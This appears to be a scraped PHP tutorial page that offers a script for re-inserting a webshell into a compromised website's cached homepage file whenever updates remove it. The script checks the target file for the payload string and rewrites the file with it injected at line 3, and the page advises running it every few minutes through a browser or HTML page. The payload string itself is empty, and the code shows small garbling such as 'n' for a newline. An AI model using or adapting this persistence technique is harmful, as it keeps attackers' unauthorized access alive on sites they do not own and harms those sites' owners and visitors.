Home > Article > Backend Development > PHP writes code in the specified line of the file_PHP tutorial
Some website homepages are cached pages, and the webhorse code or webshell code you added is often killed by updates or other factors, so I created this code:
$file="aa.php" ;
$code="";
$f=fopen($file,"r+");
$content=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3);
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[] = $line .$s . "n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>
After saving this file into php, you can use a small program to execute it every few minutes. Browsers like Opera have this function. But I added another html code to run it. You can use IE. You can just open the html and throw it wherever you want.